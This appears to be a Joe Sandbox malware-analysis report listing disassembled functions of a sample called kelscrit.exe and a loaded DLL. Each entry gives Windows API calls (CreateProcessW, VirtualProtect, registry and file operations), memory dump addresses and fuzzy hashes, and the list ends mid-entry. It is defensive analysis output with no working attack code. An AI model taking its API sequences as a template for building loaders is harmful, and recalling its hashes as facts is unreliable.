Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction ID: 83f907d2df1d2810bbbe2cf052e9f9ea9028798b61a5f10ffece60f544324ce8
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction Fuzzy Hash: 44F0F4B0D1060EDBDB00DFA4D6497EFBBB4AB04309F00812AD941B6281D7B89248CBA9

Function 00401F03 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401F21
EnableWindow.USER32(00000000,00000000), ref: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 220038190f5765e08acb68cab3f819293a66988b7b4b21bab0f24e91f41eee4f
Instruction ID: 14a8ef39102396d835bb54982d99b4aace68b6eedf0c4e81be07541ee7d8ceed
Opcode Fuzzy Hash: 220038190f5765e08acb68cab3f819293a66988b7b4b21bab0f24e91f41eee4f
Instruction Fuzzy Hash: FEE04F76908610DFE748EBA4AE499EEB3F4EF80365B20197FE001F11D1DBB94D00966D

Function 00405B5A Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: 1d4bd4e17b1592c090cadeee614c80d4297d43de2f88d62204b9ca700bb873e4
Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: C9E09AB4600219BFFB109B64AD06F7B767CE704604F408475BD15E6151D774A8158A78

Function 00401598 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 004015AC
ShowWindow.USER32(?), ref: 004015C1

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 0f5042c3400ff8d174245560ea6e81256fc6b3c7d69c517c03b76bd4f09c2680
Instruction ID: 71f073bf0609ebb53fb67f9a0a806094daae3e6e017a449e2b81a31607f58fde
Opcode Fuzzy Hash: 0f5042c3400ff8d174245560ea6e81256fc6b3c7d69c517c03b76bd4f09c2680
Instruction Fuzzy Hash: AFE04F32B10514ABCB18CFA8FED08AE73A6EB44321310053FD502B36A4C675AD409B18

Function 0040696B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
GetProcAddress.KERNEL32(00000000,?), ref: 00406998

Part of subcall function 004068FB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
Part of subcall function 004068FB: wsprintfW.USER32 ref: 0040694D
Part of subcall function 004068FB: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: f16a4ad3e9102b165210d3f50f6adbe363033f5fe81171ed8a06a41b6d2757eb
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: F1E08673504311AAD6105B759D0492772E89F89750302443EF986F2140DB38EC32A6AE

Function 00406067 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\kelscrit.exe,80000000,00000003), ref: 0040606B
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Function 00405B25 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B39

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 2532c664264170c07cbc731aa09703a23e3881c092aaf3b019fc47175ec23a7b
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 98C04C70604906DAD7505F219F087177960AB50741F158439A6C7F40A0DA74A455D92D

Function 6F952B98 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 6F952C57

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e6867810800dafb1d36b8aad139901808c4de987499878374c4a3415ec5ebec7
Instruction ID: 679227cc1b50f57349186b9cc595625e4f1892dca2116c917a436d4f636ea7c4
Opcode Fuzzy Hash: e6867810800dafb1d36b8aad139901808c4de987499878374c4a3415ec5ebec7
Instruction Fuzzy Hash: EF4181B1508704DFEF10DFB8D985B593778EB56368F208465E4088A1C2D738E4B9CF91

Function 004016A0 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 004016BB

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 28dc5c50ebc12032345a7729cf35481b8c8bbd71f25d5d2fe63a1407a727cbb2
Instruction ID: b5cd7fb0f8cac405fb011e9cf8ea0a60cc8dc6b6af2237c550085c2a5a912803
Opcode Fuzzy Hash: 28dc5c50ebc12032345a7729cf35481b8c8bbd71f25d5d2fe63a1407a727cbb2
Instruction Fuzzy Hash: 1DF0903160812293CB1077B55F0ED9F26A49F8137CB21063FB112B21E1D6BCC902926E

Function 004028B6 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028D4

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 0f8cdb930f0e9c051f1287ec62565a86da269e9ff4fc99f02ffc866b5b181b8c
Instruction ID: c79ba5cb2d88364bafa4f5c49a43b48020d8ed27846d342f9c81a2b2dcc73f01
Opcode Fuzzy Hash: 0f8cdb930f0e9c051f1287ec62565a86da269e9ff4fc99f02ffc866b5b181b8c
Instruction Fuzzy Hash: 9BE06D71904104ABDB00ABA5AE498FE73B9EB80355B20443FF101B04D4C77858109A2D

Function 00406412 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E7C,00000000,?,?), ref: 0040643B

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction ID: 173efcb61436e01de2ec3b268cd8b302251cd5bc368a703a1804e99dfb897165
Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction Fuzzy Hash: 51E0BF72010109BFEF095F60DD4AD7B3A1DE708610B11852EF906D5051E6B5A9705675

Function 00406119 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034BD,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040612D

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 5447fabf40714e60d37a3b8d529c829a5aab84dab7567664cea5a9789522ebfd
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: DFE08C3221021ABBDF109E518C00EEB3B6CEB003A0F014432FD26E7050D630E86097A4

Function 004060EA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403507,00000000,00000000,0040332B,000000FF,00000004,00000000,00000000,00000000), ref: 004060FE

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: 2902185137110ca2ffdb2282e3c832ce644deeff7f1201e2b4f2572205eed693
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: D0E08C3221021AABCF109E508C01EEB3BACFF043A0F014432FD12EB042D230E9229BA4

Function 6F952A7F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6F95505C,00000004,00000040,6F95504C), ref: 6F952A9D

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aefcaf4626e4d228b71b24da9c1b294afa98854bfcbf4e998983499f006df4e2
Instruction ID: 222df829fa2509e19be2c3a5ae3a78d3600b5fea2355233479cf29c6a42108a7
Opcode Fuzzy Hash: aefcaf4626e4d228b71b24da9c1b294afa98854bfcbf4e998983499f006df4e2
Instruction Fuzzy Hash: 62F022B0549B80DEEB90CF3C844471A3BE4B75A339B55456AE24CD6282E374947CDF91

Function 00402419 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040244A

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 979b3f2ec0bc23d324c76cc3db4c1f8da93b0e1d0eaca7bbe8bd823efade59bd
Instruction ID: 53345aa50f94a5dbc05c73a67e8aa0b188b477950ab0ef6c1fe412bbc790425e
Opcode Fuzzy Hash: 979b3f2ec0bc23d324c76cc3db4c1f8da93b0e1d0eaca7bbe8bd823efade59bd
Instruction Fuzzy Hash: E7E04F3180021AAADB00AFA0CE0ADAD3678AF00304F10493EF510BB0D1E7F889509759

Function 004063E4 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,00406472,?,?,?,?,Call,?,00000000), ref: 00406408

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: 12ce3b422fe6a0da393528f22193a7488631f194d1dbc4d2354a9349d97d7052
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: 34D0123204020DBBEF115F90DD01FAB3B1DEB08310F018836FE06A4091D776D570A758

Function 004015C8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015D3

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
